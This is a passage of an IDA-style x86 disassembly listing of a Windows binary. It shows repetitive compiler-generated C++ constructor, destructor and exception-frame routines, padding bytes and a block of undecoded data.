[esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_416FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417500 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417500 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175A0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175A0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417670 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417670 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417670 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417730 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417730 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417730 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177F0 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178B0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417920 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417920 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417920 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417990 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417990 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417990 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A00 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417A00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A20 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AA0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417AA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AC0 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417AC0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AE0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B80 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417B80 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F054 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CF0 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F058 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DB0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417DB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DE0 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F068 mov eax, esi pop esi retn sub_417DE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E10 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F074 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417ED0 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417ED0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417ED0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F90 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi retn sub_418010 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418040 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418040 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418040 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180C0 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418140 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi retn sub_418140 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418170 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418170 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181F0 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi retn sub_4181F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418220 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi retn sub_418220 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418250 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418250 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418250 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182F0 proc near ; CODE XREF: sub_40126Cj var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418308: ; CODE XREF: sub_4182F0+E4j test bl, bl jnz loc_4183DE mov al, [esi+8EF74h] test al, al jnz short loc_41831E mov bl, 1 jmp short loc_418332 ; --------------------------------------------------------------------------- loc_41831E: ; CODE XREF: sub_4182F0+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418339 loc_418332: ; CODE XREF: sub_4182F0+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418339: ; CODE XREF: sub_4182F0+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4183BE loc_418374: ; CODE XREF: sub_4182F0+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_41839B mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_41839B: ; CODE XREF: sub_4182F0+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_418374 loc_4183BE: ; CODE XREF: sub_4182F0+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418308 test bl, bl jz short loc_4183EB loc_4183DE: ; CODE XREF: sub_4182F0+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4183EB: ; CODE XREF: sub_4182F0+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_4182F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418450 proc near ; CODE XREF: sub_401776j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418450 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8E9B mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_418490 push eax jmp short loc_418495 ; --------------------------------------------------------------------------- loc_418490: ; CODE XREF: sub_418450+3Bj push offset byte_448F30 loc_418495: ; CODE XREF: sub_418450+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184AE push edi jmp short loc_4184B3 ; --------------------------------------------------------------------------- loc_4184AE: ; CODE XREF: sub_418450+59j push offset byte_448F30 loc_4184B3: ; CODE XREF: sub_418450+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418450 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE94ABE8h dd 244C8DFFh, 2685128h, 90000002h, 69E160E8h, 8FD2E871h dd 8E8DFFFEh, 1BBEh, 0FE92FBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE94FDh, 15FBE8Dh, 0CF8B0000h, 0FE9833E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8CF3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E92h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 6E8CF8Bh, 8BFFFE96h, 8C27E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 0A9E8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 33E855CFh dd 84FFFE9Ah, 530B75C0h, 0E8CF8B55h, 0FFFE8EF5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9395h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE9A25E8h, 74C084FFh dd 0E8006A08h, 7782189Eh, 9924E890h, 8E8DFFFEh, 168h, 0FE91FDE8h dd 448D50FFh, 0E8501424h, 0FFFE9A44h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 9A16E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BFCE8FFh, 9E8DFFFEh, 8EF5Dh, 0A7E8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D9CE800h, 8E8DFFFEh, 1D29h, 0FE9746E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE949Dh, 0F2858E8Dh, 0B0E80008h, 8DFFFE8Fh dd 9FA138Eh, 9090E800h, 8E8DFFFEh, 8F3A2h, 0FE9B89E8h dd 738E8DFFh, 0E80009FAh, 0FFFE97E1h, 8EE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 98E7E800h, 0CF8BFFFEh, 0FE89AEE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9579h, 0FB058E8Dh, 0F1E80009h, 8DFFFE94h dd 9FAD38Eh, 9860E800h, 8E8DFFFEh, 9FB93h, 0FE92ABE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE998Fh, 0FBFF8E8Dh, 1AE80009h dd 8BFFFE95h, 8B86E8CEh, 8E8DFFFEh, 8F270h, 5BE8F88Bh dd 8BFFFE90h, 9054E8CBh, 2DE8FFFEh, 90FFFE94h, 69BD23E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 0D7E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418800: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418820: ; CODE XREF: ___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449118 call sub_401776 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418850 proc near ; CODE XREF: sub_401B1Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021DF mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40162C mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401438 mov edx, [esi+4] mov ecx, esi push edx call sub_402103 sub_418850 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4188C0 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_4188C0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_4021FDj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F69 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40155A mov edx, [esi+4] mov ecx, esi push edx call sub_40207C sub_418900 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418970 proc near ; CODE XREF: sub_401F69j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4015DC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D98 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_418970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401311j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call 